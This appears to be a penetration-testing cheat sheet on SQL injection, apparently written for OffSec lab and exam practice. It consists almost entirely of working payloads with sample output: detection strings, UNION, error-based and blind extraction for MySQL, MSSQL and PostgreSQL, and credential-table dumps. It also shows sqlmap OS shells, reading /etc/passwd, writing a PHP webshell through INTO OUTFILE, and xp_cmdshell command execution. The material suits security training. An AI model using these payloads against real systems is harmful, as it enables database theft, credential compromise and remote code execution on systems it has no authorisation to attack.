SQL INJECTION
Test for SQLi
Try in every input field — Look for errors or behavior change
' OR 1=1-- -
" OR 1=1-- -
' OR '1'='1
1' ORDER BY 1-- -
Example Output
Input: ' OR 1=1-- -
Response shows ALL users instead of one
OR: Error: You have an error in your SQL syntax near '''
OR: Page content changes between ' OR 1=1-- - and ' OR 1=2-- -
(SQLi CONFIRMED)
LAB ONLY - SQLMap automated
NOT ALLOWED ON OFFSEC EXAMS. Automated SQLi — Enumerate databases
sqlmap -u 'http://$IP/page.php?id=1' --batch --dbs
Example Output
sqlmap -u 'http://10.10.10.5/page.php?id=1' --batch --dbs
[INFO] the back-end DBMS is MySQL
available databases [3]:
[*] information_schema
[*] webapp
[*] mysql
(NOT ALLOWED ON OFFSEC EXAMS)
LAB ONLY - SQLMap with POST data
NOT ALLOWED ON OFFSEC EXAMS. POST parameter injection — Login forms
sqlmap -u 'http://$IP/login.php' --data='user=admin&pass=test' --batch --dbs
Example Output
sqlmap -u 'http://10.10.10.5/login' --data='user=a&pass=b' --batch
[INFO] Parameter 'user' is vulnerable
Type: UNION query
(NOT ALLOWED ON OFFSEC EXAMS)
LAB ONLY - SQLMap dump creds
NOT ALLOWED ON OFFSEC EXAMS. Dump user table — Usernames and hashes
sqlmap -u 'http://$IP/page.php?id=1' -D <db> -T users --dump
Example Output
sqlmap -D webapp -T users --dump
+-------+----------+
| admin | P@ssw0rd |
| john | welcome1 |
(NOT ALLOWED ON OFFSEC EXAMS)
LAB ONLY - SQLMap OS shell
NOT ALLOWED ON OFFSEC EXAMS. Get shell via SQLi — Direct RCE
sqlmap -u 'http://$IP/page.php?id=1' --os-shell
Example Output
sqlmap --os-shell
os-shell> whoami
www-data
os-shell> id
uid=33(www-data)
(NOT ALLOWED ON OFFSEC EXAMS)
UNION based manual
Manual UNION injection — Identify column count first with ORDER BY
' UNION SELECT 1,2,3-- -
' UNION SELECT user(),database(),version()-- -
Example Output
' UNION SELECT 1,2,3-- -
Page shows '2' and '3' in output
' UNION SELECT 1,user(),database()-- -
Shows: root@localhost and webapp
(Manual injection = exam legal)
Read files via SQLi
Read files through injection — LFI via database
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
Example Output
' UNION SELECT 1,LOAD_FILE('/etc/passwd'),3-- -
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www
(Read any file the DB user can access)
Write webshell via SQLi
Write PHP shell — RCE if writable web root
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/shell.php'-- -
Example Output
' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3 INTO OUTFILE '/var/www/html/cmd.php'-- -
Error? Try: INTO DUMPFILE instead of OUTFILE
curl http://10.10.10.5/cmd.php?cmd=id
uid=33(www-data)
(Requires FILE privilege and writable web root)
Error-based injection
Force errors to leak data — When UNION doesn't work
' AND extractvalue(1,concat(0x7e,version()))-- -
Example Output
' AND extractvalue(1,concat(0x7e,version()))-- -
Error: XPATH syntax error: '~5.7.29-0ubuntu0.18.04.1'
(Version leaked through error message)
Blind boolean SQLi
Different response = injectable — Slower but works when no output
' AND 1=1-- - (true)
' AND 1=2-- - (false)
Example Output
' AND 1=1-- - -> Page loads normally (TRUE)
' AND 1=2-- - -> Page is blank/different (FALSE)
' AND SUBSTRING(user(),1,1)='r'-- - -> TRUE
' AND SUBSTRING(user(),1,1)='a'-- - -> FALSE
(User starts with 'r' -> root)
Time-based blind SQLi
If page delays = injectable — MySQL vs MSSQL syntax
' AND SLEEP(5)-- -
'; WAITFOR DELAY '0:0:5'-- -
Example Output
' AND SLEEP(5)-- -
Page takes 5 seconds to load = INJECTABLE
' AND IF(SUBSTRING(database(),1,1)='w',SLEEP(5),0)-- -
5 second delay -> first char is 'w'
(Slow but works when no visible output)
Determine column count
Keep increasing until you get an error. Last working number = column count — Required before UNION injection
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
(increment until error)
Example Output
' ORDER BY 1-- - -> OK
' ORDER BY 2-- - -> OK
' ORDER BY 3-- - -> OK
' ORDER BY 4-- - -> ERROR
(3 columns in the query)
Find displayed columns
See which numbers appear on page. Those columns show output. — Inject queries into visible columns
' UNION SELECT 1,2,3,4-- -
(match column count from ORDER BY)
Example Output
' UNION SELECT 1,2,3-- -
Page shows: 2 and 3 in the output
(Inject payloads into columns 2 and 3)
Extract database version
MySQL: version() MSSQL: @@version PostgreSQL: version() — Confirms DB type
' UNION SELECT 1,version(),3-- -
' UNION SELECT 1,@@version,3-- -
Example Output
' UNION SELECT 1,version(),3-- -
5.7.29-0ubuntu0.18.04.1
(MySQL 5.7.29 on Ubuntu)
Extract current database
MySQL: database() MSSQL: db_name() — Know which DB you're in
' UNION SELECT 1,database(),3-- -
' UNION SELECT 1,db_name(),3-- -
Example Output
' UNION SELECT 1,database(),3-- -
Output: webapp
(Now enumerate tables in 'webapp' database)
Extract current user
Check privilege level — DBA = more options
' UNION SELECT 1,user(),3-- -
' UNION SELECT 1,current_user,3-- -
Example Output
' UNION SELECT 1,user(),3-- -
Output: root@localhost
(Root DB user = FILE privileges likely available)
List all databases (MySQL)
All databases in one query — Find interesting databases
' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(schema_name),3 FROM information_schema.schemata-- -
information_schema,mysql,performance_schema,webapp,secret_db
List tables in database
All tables from target DB — Look for users/credentials tables
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='<dbname>'-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(table_name),3 FROM information_schema.tables WHERE table_schema='webapp'-- -
users,posts,settings,sessions
List columns in table
Column names from target table — Find username/password columns
' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(column_name),3 FROM information_schema.columns WHERE table_name='users'-- -
Output: id,username,password,email,role
(Now dump username and password columns)
Dump table data
0x3a is colon separator — Extract credentials
' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users-- -
Example Output
' UNION SELECT 1,GROUP_CONCAT(username,0x3a,password),3 FROM users-- -
admin:$2y$10$abc123...,john:$2y$10$def456...,editor:password123
(Crack bcrypt hashes or use plaintext creds)
MSSQL list databases
MSSQL uses different schema — MSSQL syntax
' UNION SELECT 1,name,3 FROM master..sysdatabases-- -
Example Output
' UNION SELECT 1,name,3 FROM master..sysdatabases-- -
master
tempdb
model
msdb
webapp
HRDatabase
MSSQL list tables
xtype U = user tables — MSSQL syntax
' UNION SELECT 1,name,3 FROM <dbname>..sysobjects WHERE xtype='U'-- -
Example Output
' UNION SELECT 1,name,3 FROM webapp..sysobjects WHERE xtype='U'-- -
users
employees
config
sessions
MSSQL list columns
Columns from target table — MSSQL syntax
' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -
Example Output
' UNION SELECT 1,name,3 FROM syscolumns WHERE id=(SELECT id FROM sysobjects WHERE name='users')-- -
id
username
password_hash
email
PostgreSQL list databases
PostgreSQL syntax — Different from MySQL
' UNION SELECT 1,datname,3 FROM pg_database-- -
Example Output
' UNION SELECT 1,datname,3 FROM pg_database-- -
postgres
template0
template1
webapp
PostgreSQL list tables
Public schema tables — PostgreSQL syntax
' UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- -
Example Output
' UNION SELECT 1,tablename,3 FROM pg_tables WHERE schemaname='public'-- -
users
posts
config
Stacked queries (MSSQL)
MSSQL supports stacked queries — Direct RCE if sa user
'; EXEC xp_cmdshell 'whoami'-- -
Example Output
'; EXEC xp_cmdshell 'whoami'-- -
nt authority\system
(RCE as SYSTEM via MSSQL stacked queries)
Second-order SQLi
Payload stored, executed later — When direct injection fails
Register user: admin'-- -
Then login or trigger profile update
Example Output
Register username: admin'-- -
Login with that account
Profile page shows: Welcome, admin
(Stored payload executed on profile load, bypassed auth)